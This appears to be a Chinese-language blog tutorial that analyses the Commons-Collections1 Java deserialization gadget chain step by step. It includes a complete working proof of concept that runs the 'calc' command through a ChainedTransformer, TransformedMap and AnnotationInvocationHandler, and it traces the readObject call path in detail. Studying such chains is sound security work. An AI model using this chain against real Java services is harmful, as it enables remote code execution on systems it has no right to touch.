Commons-Collections1 反序列化
简要
网上已经很多对Commons-Collections1序列化链条分析的文章了,俗话说站在巨人的肩上才能看的更远,对于整个序列化与反序列化过程,接下来主要叙述我遇到的坑点与重点位置,为了更好的理解,在最后我会对整个过程中难以理解的地方用图片呈现。
环境准备:jdk1.8.0_60 commons-collections-3.2.1.jar
为了更好分析,我直接把代码贴出来,回溯分析
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
public class serialize {
public static void main(String[] args) throws Exception {
new serialize().run();
}
public void run() throws Exception{
deserialize(serialize(getObject()));
}
public Object getObject() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map innermap = new HashedMap();
innermap.put("value", "value");
Map transformedMap = TransformedMap.decorate(innermap, null, transformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object cs = constructor.newInstance(Retention.class,transformedMap);
return cs;
}
public byte[] serialize ( final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
首先声明Transformer的数组变量,ConstantTransformer在代码中的实现如下:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
/*官方解答为
public ConstantTransformer(O constantToReturn)
Constructor that performs no validation. Use constantTransformer if you want that.
Parameters:
constantToReturn - the constant to return each time
*/
可以看到此方法返回构造器,咱们构造为Runtime类,接着调用了InvokerTransformer方法,源代码如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
/*官方解答为
public InvokerTransformer(String methodName,
Class<?>[] paramTypes,
Object[] args)
Constructor that performs no validation. Use invokerTransformer if you want that.
Note: from 4.0, the input parameters will be cloned
Parameters:
methodName - the method to call
paramTypes - the constructor parameter types
args - the constructor arguments
*/
调用方法,方法类型与方法参数,结合Runtime类,最终达到调用exec,所以整个数组,转化为常用代码就是
Object a = Runtime.class.getMethod("getRuntime").invoke(null,null);
Runtime.class.getMethod("exec",String.class).invoke(a,"calc");
//简化 Runtime.getRuntime().exec("calc");
可能这边大家有个疑问,Transformer数组和简化这个多了invoke方法,直接和简化一样不可以么,这时我就要简单叙述一下Runtime执行命令的顺序,首先它要获取当前环境,也就是getRuntime,然后使用exec执行命令,那这个反射是怎么执行的呢,首先和顺序一样,先要获取当前环境,也就是Object a,这时得到的环境不能直接exec,这是反射本身导致的,有兴趣的小伙伴可以深入研究一下反射的原理,我这就不叙述了,然后再通过Runtime类找到exec方法,反射调用刚刚获取到的环境Object a,加上命令,这样就可以运行了。
接着运行到ChainedTransformer方法,源代码如下:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
/*官方解答为
public ChainedTransformer(Transformer<? super T,? extends T>... transformers)
Constructor that performs no validation. Use chainedTransformer if you want that.
Parameters:
transformers - the transformers to chain, copied, no nulls
*/
将Transformer数组转化复制给Transformer对象,接着走到TransformedMap.decorate方法中,这边就不展开分析了,作用为给Map对象赋值Transformer的键值。接下来和之前的反射差不多,调用sun.reflect.annotation.AnnotationInvocationHandler类,通过getDeclaredConstructor获取带参构造器并使用newInstance赋值传参。其中有四个疑点,一,目前为止未看到如何到达命令执行,二,为什么对获取的构造器要执行setAccessible操作,三,Map必须要put值么,第四,最后构造器赋值传参为什么是Retention.class,由此正向分析结束。我们从反序列化开始分析调用流程。
反序列化
既然上述分析到AnnotationInvocationHandler类,那么反序列化肯定从readObject开始,分析此类的readObject方法,为了更好的分析,我们选择逐步分析,首先贴出整段代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
其中有两个个重要的点,this.type和this.memberValues,这两个在之前构造器传参的时候带入。首先我们定位到var2=AnnotationType.getInstance(this.type)获取this.type实例化对象,这边随后再讲,继续到Iterator var4 = this.memberValues.entrySet().iterator();可以看到恶意代码经过entrySet()方法,这个方法源于Map接口,实现于抽象类AbstractMapDecorator,重写在AbstractInputCheckedMapDecorator,由下图可知处理后的数值
protected boolean isSetValueChecking() {
return true;
}
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
中间通过赋值到达var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));看着很多,其实主要是为了不报错,我这直接贴出处理结果
之后通过之前对var4分析,到达var5对应的setValue方法,代码如下
private final AbstractInputCheckedMapDecorator parent;
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
可以看到this.parent就是之前var4,var4就是恶意代码的部分,这时会到达TransformedMap.checkSetValue方法,代码如下
protected final Transformer valueTransformer;
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
目前为止已经回溯结束,可能有些人还不明白,我这边再重复一下,到达这里以后,可以发现和valueTransformer就是之前TransformedMap.decorate传入的恶意代码,由ChainedTransformer方法将Transformer数组转化复制给Transformer对象,之后经过ChainedTransformer.transform方法,最终到达InvokerTransformer类中transform方法,代码如下,达到运行命令
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
回溯完以后,解答一下之前提出的疑问,第一个已经解答。二,执行setAccessible操作是因为AnnotationInvocationHandler类的readObject方法为私有。三,Map必须要put赋值键为value,因为之后var6会获取var5的键值,var7又会获取var6的类,如果var7获取不到,那么无法到达执行点(var2获取到的对象中Member types: {value=class java.lang.annotation.RetentionPolicy},Map var3 = var2.memberTypes(),var7执行get方法时只有value可以获取)。四,首先构造器传参第一个参数必须是class对象,那么符合原生class属性的有Override 、Deprecated 、SuppressWarnings 、Retention 、Documented 、Target 、Inherited 、SafeVarargs 、FunctionalInterface 和Repeatable,具体我就不分析了,我把我找到可以用的贴出来,SuppressWarnings、Target、Repeatable和Retention。